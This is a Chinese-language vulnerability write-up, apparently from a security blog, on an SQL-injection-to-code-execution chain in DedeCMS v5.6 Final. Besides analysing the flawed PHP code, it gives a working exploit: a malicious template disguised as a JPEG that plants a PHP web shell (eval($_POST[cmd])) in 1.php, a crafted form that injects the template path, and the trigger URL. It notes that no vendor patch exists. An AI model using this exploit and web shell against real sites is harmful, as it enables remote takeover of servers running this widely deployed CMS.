影響版本:
DEDECMS v5.6 Final
程序介紹:
DedeCms 基于PHP+MySQL的技術(shù)開發(fā)，支持Windows、Linux、Unix等多種服務(wù)器平臺(tái)，從2004年開始發(fā)布第一個(gè)版本開始，至今已經(jīng)發(fā)布了五個(gè)大版本。DedeCms以簡(jiǎn)單、健壯、靈活、開源幾大特點(diǎn)占領(lǐng)了國(guó)內(nèi)CMS的大部份市場(chǎng)，目前已經(jīng)有超過二十萬(wàn)個(gè)站點(diǎn)正在使用DedeCms或居于DedeCms核心，是目前國(guó)內(nèi)應(yīng)用最廣泛的php類CMS系統(tǒng)。
漏洞分析:
Dedecms V5.6 Final版本中的各個(gè)文件存在一系列問題，經(jīng)過精心構(gòu)造的含有惡意代表的模板內(nèi)容可以通過用戶后臺(tái)的上傳附件的功能上傳上去，然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑，模板解析類：include/inc_archives_view.php沒有對(duì)模板路徑及名稱做任何限制，則可以成功執(zhí)行惡意代碼。
1、member/article_edit.php文件（注入）：
//漏洞在member文件夾下普遍存在，$dede_addonfields是由用戶提交的，可以被偽造，偽造成功即可帶入sql語(yǔ)句，于是我們可以給附加表的內(nèi)容進(jìn)行update賦值。
PHP Code復(fù)制內(nèi)容到剪貼板
- …
- //分析處理附加表數(shù)據(jù)
- $inadd_f='';
- if(!emptyempty($dede_addonfields))//自己構(gòu)造$dede_addonfields
- {
- $addonfields=explode(';',$dede_addonfields);
- if(is_array($addonfields))
- {
- print_r($addonfields);
- foreach($addonfieldsas$v)
- {
- if($v=='')
- {
- continue;
- }
- $vs=explode(',',$v);
- if(!isset(${$vs[0]}))
- {
- ${$vs[0]}='';
- }
- ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
- $inadd_f.=','.$vs[0]."='".${$vs[0]}."'";
- echo$inadd_f;
- }
- }
- }
- …
- if($addtable!='')
- {
- $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//執(zhí)行構(gòu)造的sql
- if(!$dsql->ExecuteNoneQuery($upQuery))
- {
- ShowMsg("更新附加表`$addtable`時(shí)出錯(cuò)，請(qǐng)聯(lián)系管理員！","javascript:;");
- exit();
- }
- }
- …
2、include/inc_archives_view.php：
//這是模板處理類，如果附加表的模板路徑存在，直接從附加表取值；GetTempletFile獲取模板文件的方法就是取的此處的模板路徑，從來(lái)帶進(jìn)去解析。
PHP Code復(fù)制內(nèi)容到剪貼板
- …
- //issystem==-1表示單表模型，單表模型不支持redirecturl這類參數(shù)，因此限定內(nèi)容普通模型才進(jìn)行下面查詢
- if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
- {
- if(is_array($this->addTableRow))
- {
- $this->Fields['redirecturl']=$this->addTableRow['redirecturl'];
- $this->Fields['templet']=$this->addTableRow['templet'];//取值
- $this->Fields['userip']=$this->addTableRow['userip'];
- }
- $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet']));
- $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl']));
- $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip']));
- }
- else
- {
- $this->Fields['templet']=$this->Fields['redirecturl']='';
- }
- …
-
- //獲得模板文件位置
- functionGetTempletFile()
- {
- global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
- $cid=$this->ChannelUnit->ChannelInfos['nid'];
- if(!emptyempty($this->Fields['templet']))
- {
- $filetag=MfTemplet($this->Fields['templet']);
- if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
- }
- else
- {
- $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
- }
- $tid=$this->Fields['typeid'];
- $filetag=str_replace('{cid}',$cid,$filetag);
- $filetag=str_replace('{tid}',$tid,$filetag);
- $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- if($cid=='spec')
- {
- if(!emptyempty($this->Fields['templet']))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- }
- else
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
- }
- }
- if(!file_exists($tmpfile))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
- }
- return$tmpfile;
- }
漏洞利用:
1.上傳一個(gè)模板文件：
注冊(cè)一個(gè)用戶，進(jìn)入用戶管理后臺(tái)，發(fā)表一篇文章，上傳一個(gè)圖片，然后在附件管理里，把圖片替換為我們精心構(gòu)造的模板，比如圖片名稱是：
uploads/userup/2/12OMX04-15A.jpg
模板內(nèi)容是（如果限制圖片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發(fā)表的文章，查看源文件，構(gòu)造一個(gè)表單：
XML/HTML Code復(fù)制內(nèi)容到剪貼板
- <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
- <inputtype="hidden"name="dopost"value="save"/>
- <inputtype="hidden"name="aid"value="2"/>
- <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
- <inputtype="hidden"name="channelid"value="1"/>
- <inputtype="hidden"name="oldlitpic"value=""/>
- <inputtype="hidden"name="sortrank"value="1275972263"/>
- <divid="mainCp">
- <h3class="meTitle"><strong>修改文章</strong></h3>
- <divclass="postForm">
- <label>標(biāo)題：</label>
- <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
- <label>標(biāo)簽TAG：</label>
- <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗號(hào)分開)
- <label>作者：</label>
- <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
- <label>隸屬欄目：</label>
- <selectname='typeid'size='1'>
- <optionvalue='1'class='option3'selected=''>測(cè)試欄目</option>
- </select><spanstyle="color:#F00">*</span>(不能選擇帶顏色的分類)
- <label>我的分類：</label>
- <selectname='mtypesid'size='1'>
- <optionvalue='0'selected>請(qǐng)選擇分類...</option>
- <optionvalue='1'class='option3'selected>hahahha</option>
- </select>
- <label>信息摘要：</label>
- <textareaname="description"id="description">1111111</textarea>
- (內(nèi)容的簡(jiǎn)要說明)
- <label>縮略圖：</label>
- <inputname="litpic"type="file"id="litpic"onchange="SeePicNew('divpicview',this);"maxlength="100"class="intxt"/>
- <inputtype='text'name='templet'
- value="../uploads/userup/2/12OMX04-15A.jpg">
- <inputtype='text'name='dede_addonfields'
- value="templet,htmltext;">（這里構(gòu)造）
- </div>
- <!--表單操作區(qū)域-->
- <h3class="meTitle">詳細(xì)內(nèi)容</h3>
- <divclass="contentShowpostForm">
- <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
- <label>驗(yàn)證碼：</label>
- <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style='width:50px;text-transform:uppercase;'/>
- <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清？點(diǎn)擊更換"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+'?'"/>
- <buttonclass="button2"type="submit">提交</button>
- <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
- </div>
- </div>
- </form>
提交，提示修改成功，則我們已經(jīng)成功修改模板路徑。
3.訪問修改的文章：
假設(shè)剛剛修改的文章的aid為2，則我們只需要訪問：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬：1.php
解決方案:
廠商補(bǔ)丁:
DEDECMS
------------
目前廠商還沒有提供補(bǔ)丁或者升級(jí)程序，我們建議使用此軟件的用戶隨時(shí)關(guān)注廠商的主頁(yè)以獲取最新版本：
http://www.dedecms.com/
信息來(lái)源: oldjun's Blog
